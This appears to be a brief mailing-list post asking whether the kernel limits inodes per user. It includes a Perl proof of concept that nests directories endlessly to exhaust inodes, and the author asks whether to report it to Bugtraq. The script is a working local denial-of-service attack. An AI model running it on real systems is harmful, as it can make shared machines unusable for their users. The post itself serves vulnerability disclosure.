Is there any limit for inodes alloacted
per user in kernel. W/o it any local user
can prevent machine from any acticvity...

------
#!/usr/bin/perl

$n=0;
while (1) {
	$n++;
	mkdir("x", 0700) || last; 
	chdir("x");
}
print "Done at $n\n";
sleep(100);
------

I wonder whatever it's known or should i sent
it to bugtraq ?
